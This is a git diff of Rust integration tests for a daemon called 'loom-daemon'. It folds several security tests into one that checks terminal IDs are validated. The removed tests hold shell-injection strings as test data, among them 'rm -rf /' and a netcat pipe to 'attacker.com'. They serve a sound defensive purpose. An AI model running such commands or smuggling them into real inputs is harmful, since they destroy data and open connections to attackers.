diff --git a/loom-daemon/tests/integration_security.rs b/loom-daemon/tests/integration_security.rs index 20204226bd..c0dc400f8c 100644 --- a/loom-daemon/tests/integration_security.rs +++ b/loom-daemon/tests/integration_security.rs @@ -30,156 +30,6 @@ fn setup() { cleanup_all_loom_sessions(); } -/// Security Test 1: Reject terminal ID with shell injection characters (semicolon) -#[tokio::test] -#[serial] -async fn test_reject_injection_semicolon() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt to create terminal with malicious ID containing semicolon - let malicious_id = "normal; rm -rf /"; - let result = client.create_terminal(malicious_id, None).await; - - // Should fail with validation error - assert!(result.is_err(), "Terminal creation with semicolon should be rejected"); - - // Cleanup - cleanup_all_loom_sessions(); -} - -/// Security Test 2: Reject terminal ID with command substitution -#[tokio::test] -#[serial] -async fn test_reject_injection_command_substitution() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt with $() command substitution - let malicious_id = "$(whoami)"; - let result = client.create_terminal(malicious_id, None).await; - - assert!( - result.is_err(), - "Terminal creation with command substitution should be rejected" - ); - - // Cleanup - cleanup_all_loom_sessions(); -} - -/// Security Test 3: Reject terminal ID with pipe character -#[tokio::test] -#[serial] -async fn test_reject_injection_pipe() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt with pipe - let malicious_id = "terminal|nc attacker.com 1337"; - let result = client.create_terminal(malicious_id, None).await; - - assert!(result.is_err(), "Terminal creation with pipe should be rejected"); - - // Cleanup - cleanup_all_loom_sessions(); -} - -/// Security Test 4: Reject terminal ID with backticks -#[tokio::test] -#[serial] -async fn test_reject_injection_backticks() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt with backtick command substitution - let malicious_id = "`whoami`"; - let result = client.create_terminal(malicious_id, None).await; - - assert!(result.is_err(), "Terminal creation with backticks should be rejected"); - - // Cleanup - cleanup_all_loom_sessions(); -} - -/// Security Test 5: Reject terminal ID with ampersand (background execution) -#[tokio::test] -#[serial] -async fn test_reject_injection_ampersand() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt with ampersand - let malicious_id = "terminal & evil-command"; - let result = client.create_terminal(malicious_id, None).await; - - assert!(result.is_err(), "Terminal creation with ampersand should be rejected"); - - // Cleanup - cleanup_all_loom_sessions(); -} - -/// Security Test 6: Reject terminal ID with newline -#[tokio::test] -#[serial] -async fn test_reject_injection_newline() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt with newline injection - let malicious_id = "terminal\nrm -rf /"; - let result = client.create_terminal(malicious_id, None).await; - - assert!(result.is_err(), "Terminal creation with newline should be rejected"); - - // Cleanup - cleanup_all_loom_sessions(); -} - -/// Security Test 7: Reject empty terminal ID -#[tokio::test] -#[serial] -async fn test_reject_empty_id() { - setup(); - - let daemon = TestDaemon::start().await.expect("Failed to start daemon"); - let mut client = TestClient::connect(daemon.socket_path()) - .await - .expect("Failed to connect"); - - // Attempt with empty ID - let result = client.create_terminal("", None).await; - - assert!(result.is_err(), "Empty terminal ID should be rejected"); - - // Cleanup - cleanup_all_loom_sessions(); -} - /// Security Test 8: Accept valid terminal IDs with allowed characters #[tokio::test] #[serial] @@ -211,10 +61,10 @@ async fn test_accept_valid_ids() { cleanup_all_loom_sessions(); } -/// Security Test 9: Reject terminal ID with special shell characters +/// Reject invalid terminal IDs without losing the daemon connection. #[tokio::test] #[serial] -async fn test_reject_various_shell_chars() { +async fn test_reject_invalid_terminal_ids() { setup(); let daemon = TestDaemon::start().await.expect("Failed to start daemon"); @@ -223,7 +73,7 @@ async fn test_reject_various_shell_chars() { .expect("Failed to connect"); // Test various problematic characters - let malicious_chars = vec![ + let invalid_ids = [ "terminal>file", "terminal error, + Ok(_) => panic!("the daemon accepted {id:?} as a terminal ID"), + }; + let expected_message = if id.is_empty() { + "Terminal ID cannot be empty" + } else { + "Invalid terminal ID:" + }; assert!( - result.is_err(), - "Terminal ID with special character '{malicious_id}' should be rejected" + error.to_string().contains(expected_message), + "expected terminal ID validation for {id:?}, got {error:#}" ); }